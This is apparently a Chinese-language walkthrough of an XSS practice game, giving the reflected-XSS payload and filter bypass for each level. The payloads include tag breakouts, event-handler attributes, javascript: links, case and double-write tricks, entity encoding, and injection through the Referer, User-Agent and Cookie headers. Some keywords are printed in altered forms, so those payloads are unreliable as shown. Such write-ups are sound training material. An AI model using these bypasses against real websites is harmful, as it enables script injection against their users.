xss小游戲
將URL里的test修改為benda,查看頁面變化“歡迎用戶bendan”
benda改為<jscript>alert(1)</jscript>
第二關(guān):/level2.php?keyword=test
有輸入框,輸入bendan,頁面顯示:沒有找到和bendan相關(guān)的結(jié)果
輸入框輸入"><jscript>alert(1)</jscript>
第三關(guān):/level3.php?writing=wait
有輸入框,輸入bendan,頁面顯示:沒有找到和bendan相關(guān)的結(jié)果
輸入框輸入<jscript>alert(1)</jscript>,頁面顯示:沒有找到和<jscript>alert(1)</jscript>相關(guān)的結(jié)果 開發(fā)者工具顯示:<>被過濾了
輸入框輸入" jonclick="alert(1)",頁面顯示:沒有找到和" jonclick="alert(1)"相關(guān)的結(jié)果 開發(fā)者工具:“被過濾
輸入框輸入'?jonclick='alert(1)',頁面顯示:沒有找到和' jonclick=alert(1)'相關(guān)的結(jié)果,點(diǎn)擊過關(guān)
第四關(guān):level4.php?keyword=try%20harder!
有輸入框,輸入bendan,頁面顯示:沒有找到和bendan相關(guān)的結(jié)果
輸入框輸入<jscript>alert(1)</jscript>,頁面顯示:沒有找到和<jscript>alert(1)</jscript>相關(guān)的結(jié)果 開發(fā)者工具顯示:<>被過濾了
輸入框輸入" jonclick="alert(1)",頁面顯示:沒有找到和" jonclick="alert(1)"相關(guān)的結(jié)果,點(diǎn)擊過關(guān)
第五關(guān):level5.php?keyword=find%20a%20way%20out!
有輸入框,輸入bendan,頁面顯示:沒有找到和bendan相關(guān)的結(jié)果
輸入框輸入"><jscript>alert(1)</jscript>,頁面顯示:沒有找到和"><jscript>alert(1)</jscript>相關(guān)的結(jié)果開發(fā)者工具:<input name=keyword ?value=""><scr_ipt>alert(1)</jscript>">
輸入框輸入" jonclick="alert(1)",頁面顯示:沒有找到和" jonclick="alert(1)"相關(guān)的結(jié)果 開發(fā)者工具:<input name=keyword ?value="" o_nclick="alert(1)"">
編碼、大小寫、雙寫均不能過關(guān)
構(gòu)造偽協(xié)議:"> <a href="jjavascript:alert(1)">點(diǎn)擊鏈接過關(guān)
第六關(guān):level6.php?keyword=break%20it%20out!
有輸入框,輸入bendan,頁面顯示:沒有找到和bendan相關(guān)的結(jié)果
輸入框輸入"><jscript>alert(1)</jscript>,頁面顯示:沒有找到和"><jscript>alert(1)</jscript>相關(guān)的結(jié)果開發(fā)者工具:<input name=keyword ?value=""><scr_ipt>alert(1)</jscript>">
輸入框輸入" jonclick="alert(1)",頁面顯示:沒有找到和" jonclick="alert(1)"相關(guān)的結(jié)果 開發(fā)者工具:<input name=keyword ?value="" o_nclick="alert(1)"">
構(gòu)造偽協(xié)議:"> <a href="jjavascript:alert(1)">,頁面顯示:沒有找到和"> <a href="jjavascript:alert(1)">相關(guān)的結(jié)果. 開發(fā)者工具:<input name=keyword ?value=""> <a hr_ef="jjavascript:alert(1)">"> <input name=keyword ?value=""><img sr_c='jjavascript:alert(1)' >">
大小寫繞過href——hRef,點(diǎn)擊鏈接過關(guān)
第七關(guān):/level7.php?keyword=move%20up!
有輸入框,輸入bendan,頁面顯示:沒有找到和bendan相關(guān)的結(jié)果
輸入框輸入"><jscript>alert(1)</jscript>,頁面顯示:沒有找到和"><jscript>alert(1)</jscript>相關(guān)的結(jié)果開發(fā)者工具:<input name=keyword ?value=""><>jalert(1)</>"> 字符jscript被過濾,,大小寫無效
輸入框輸入" jonclick="alert(1)",頁面顯示:沒有找到和" jonclick="alert(1)"相關(guān)的結(jié)果 開發(fā)者工具:<input name=keyword ?value="" click="alert(1)""> 字符 jonclick中的on被過濾,大小寫無效。雙寫oonn過關(guān)
第八關(guān):/level8.php?keyword=nice%20try!
有輸入框,輸入bendan,頁面無明顯變化
輸入框輸入"><jscript>alert(1)</jscript> 開發(fā)者響應(yīng)源碼:第一處:> < "被過濾,第二處:"被過濾且scr_ipt
輸入框輸入" jonclick="alert(1)" 響應(yīng)源碼:</center><center><BR><a href="" o_nclick="alert(1)"">友情鏈接</a></center>
輸入框輸入jjavascript:alert(1) 響應(yīng)源碼:</center><center><BR><a href="jjavascr_ipt:alert(1)">友情鏈接</a></center><center>
jjavascript:alert(1)全部進(jìn)行html編碼,點(diǎn)擊鏈接過關(guān)
javascript:alert(1)
簡單一點(diǎn):只需要將ri進(jìn)行html實(shí)體編碼:jjavascript:alert(1)
第九關(guān):level9.php?keyword=not%20bad!
有輸入框,輸入bendan,頁面無明顯變化 響應(yīng)源碼:<a href="您的鏈接不合法?有沒有!">
輸入一個鏈接:http://www.baidu.com 再次輸入:http://123 響應(yīng)源碼:<a href="http://123">友情鏈接</a>
輸入框輸入http://jjavascript:alert(1) 響應(yīng)源碼:</center><center><BR><a href="http://javascr_ipt:alert(1)">友情鏈接</a></center><center>
反復(fù)確認(rèn)后證明只需要有http:// 這個字符就行:輸入jjavascript:alert(1)//http://。用//注釋后面所有代碼 響應(yīng)源碼:<a href="jjavascr_ipt:alert(1)//http://">友情鏈接</a>
將 ri 進(jìn)行html實(shí)體編碼:jjavascript:alert(1)//http:// 點(diǎn)擊鏈接過關(guān)
第十關(guān):level10.php?keyword=well%20done!
沒有輸入框,頁面顯示well done與URLwell done一致,在URL輸入bendan。頁面顯示:沒有找到和bendan相關(guān)的結(jié)果
URL輸入:<jscript>alert(1)</jscript> 響應(yīng)源碼:有三個隱藏的input標(biāo)簽 用burpsuite軟件顯示隱藏標(biāo)簽并高亮,輸入內(nèi)容后無法提交。修改在開發(fā)者工具element中創(chuàng)建提交按鈕。
說明第三個輸入框可以進(jìn)行利用:輸入"><jscript>alert(1)</jscript> 響應(yīng)源碼:<input name="t_sort" ?value=""scriptalert(1)/script"> 說明:<>被過濾
輸入:" onclick="alert(1)" ? 點(diǎn)擊過關(guān)
第十一關(guān):/level11.php?keyword=good%20job!
在三個輸入框中輸入不同內(nèi)容,仍舊是第三個可以利用。
輸入:"><jscript>alert(1)</jscript>。顯示<>" 被過濾。無法利用
比較第四框中內(nèi)容為HTTP請求頭中的 referer,使用bp進(jìn)行攔截并修改為<jscript>alert(2)</jscript> 響應(yīng)源碼:scriptalert(2)/script 說明<>被過濾
修改為:" jonclick="alert(1)"。點(diǎn)擊過關(guān)
第十二關(guān):level12.php?keyword=good%20job!
比較第四框中內(nèi)容為HTTP請求頭中的 User-Agent,使用bp進(jìn)行攔截并修改為<jscript>alert(2)</jscript> 響應(yīng)源碼:scriptalert(2)/script 說明<>被過濾
修改為:" jonclick="alert(1)"。點(diǎn)擊過關(guān)
第十三關(guān):level13.php?keyword=good%20job!
四個輸入框輸入不同內(nèi)容 頁面顯示:
輸入<jscript>alert(2)</jscript>和" jonclick="alert(1)" 響應(yīng)源碼顯示:<>"被過濾
只能用第四個框:對比內(nèi)容為HTTP請求頭中的Cookie: user=。 使用bp進(jìn)行攔截并修改為" onclick="alert(1)"。點(diǎn)擊過關(guān)
第十四關(guān):level14.php(未完成)
第十五關(guān):在img標(biāo)簽添加jonload='alert(1)'
第十六關(guān):在img標(biāo)簽添加jonload='alert(1)'
第十七關(guān):jonmouseout=alert(1)
第十八關(guān):同上
第十九關(guān):同上
第二十關(guān):同上
僅供學(xué)習(xí)交流